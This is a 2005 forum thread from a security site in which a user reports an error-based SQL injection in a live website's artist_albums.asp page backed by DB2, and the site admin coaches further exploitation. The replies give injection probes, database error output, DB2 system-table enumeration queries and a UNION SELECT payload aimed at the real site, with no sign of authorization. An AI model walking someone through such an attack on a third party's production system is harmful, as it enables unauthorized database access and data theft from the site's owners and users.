 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 52
 Members: 0
 Total: 52
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Sql injection problem |
|
 Posted: Mon Jul 18, 2005 10:55 pm |
 |
|
| Dendy |
| Regular user |
 |
|
| Joined: Jun 20, 2005 |
| Posts: 9 |
|
|
|
 |
|
 |
|
when i enter this code :
| Code: | | docs/artist_albums.asp?aid=' [sql] |
i see this :
| Code: | Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[IBM][CLI Driver][DB2/6000] SQL0010N The string constant beginning with "' [sql] and tid <> 48 order by WEBTABLE.TNAME" does not have an ending string delimiter. SQLSTATE=42603
/docs/artist_albums_include.asp, line 7 |
is this an exploit ? and what can i do with it ?
thnx in advance. |
|
|
|
|
|
Re: Sql injection problem |
|
| Posted: Mon Jul 18, 2005 11:18 pm |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
| Dendy wrote: | when i enter this code :
| Code: | | docs/artist_albums.asp?aid=' [sql] |
i see this :
| Code: | Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[IBM][CLI Driver][DB2/6000] SQL0010N The string constant beginning with "' [sql] and tid <> 48 order by WEBTABLE.TNAME" does not have an ending string delimiter. SQLSTATE=42603
/docs/artist_albums_include.asp, line 7 |
is this an exploit ? and what can i do with it ?
thnx in advance. |
If you try this without single quotes:
| Code: |
xxxx/docs/artist_albums.asp?aid=166%20or
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[IBM][CLI Driver][DB2/6000] SQL0104N An unexpected token "tid" was found following "ABLE.AID =166 or and". Expected tokens may include: "<space>". SQLSTATE=42601
/docs/artist_albums_include.asp, line 7
|
Now if we make some search in google, we can find out, that this database platform is "DB2". Not mysql, not m$sql, not oracle.
So sql injection in this platform will have specific methods of course.
Looking at google this can be found:
http://seclists.org/lists/pen-test/2005/Feb/0104.html
| Code: |
Re: DB2 - SQL Injection
From: <cris_dewitt_at_hotmail.com>
Date: 22 Feb 2005 21:08:11 -0000
('binary' encoding is not supported, stored as-is) In-Reply-To: <BAY20-F554B6A6F95D6B05A69570B8610_at_phx.gbl>
Hey, this is from my friend who knows something about DB2 - I have no clue what he's talking about, but
ya'll will...cd
As for your SQL injection friends, this may be a start:
Your login identity is accessible through the variable USER. With WebSphereconnections are typically made by a powerful user and pooled, securityprovided by the application. Since the app seems pretty weak in this respect, your friend probably has a powerful connection (lots ofauthorization) at his disposal.
The login user is the default schema you are associated with when you login, though this can be changed. The schema provides a space within which youcan search for tables, so you don't have to try every table in the system(though there really aren't usually all that many tables). Using SYSIBM.SYSTABLES you can find the tables in your schema with select NAME from SYSIBM.SYSTABLES where CREATOR = USER
There is also a SYSIBM.SYSCOLUMNS table you can use to query for the names of columns in a table:
select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '<schema name here>' and TBNAME='<table name here>'
There are also useful views built over these system tables, like SYSCAT.TABLES and SYSCAT.COLUMNS, that have the advantage that they're more likely to be the same from release to release.
The simple solution to this whole (SQL injection) problem seems pretty clear, or am I missing something? Just don't generate SQL by manipulating text. Use embedded SQL, use prepared statements, use stored procedures, use ...
Received on Feb 23 2005
|
Now let's take next move:
| Code: |
xxx.docs/artist_albums.asp?aid=-99%20UNION%20ALL%20SELECT%201,2,3,4,5%20from%20SYSIBM.SYSTABLES%20where%20CREATOR=USER
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[IBM][CLI Driver][DB2/6000] SQL0415N The data types of corresponding columns are not compatible in a fullselect that includes a set operator or in the multiple rows of a VALUES clause of an INSERT or fullselect. SQLSTATE=42825
/docs/artist_albums_include.asp, line 7
|
So move ahead and try to make this sql injection work  |
|
|
|
|
|
|
|
|
| Posted: Mon Jul 18, 2005 11:36 pm |
|
|
| Dendy |
| Regular user |
|
|
| Joined: Jun 20, 2005 |
| Posts: 9 |
|
|
|
|
|
|
|
yea man  i got all that u said, but what i do next ?
i changed CREATOR=USER but it didn't work
and aid=-99 didn't work neither
what shall i do ? just more closer
thnx man |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
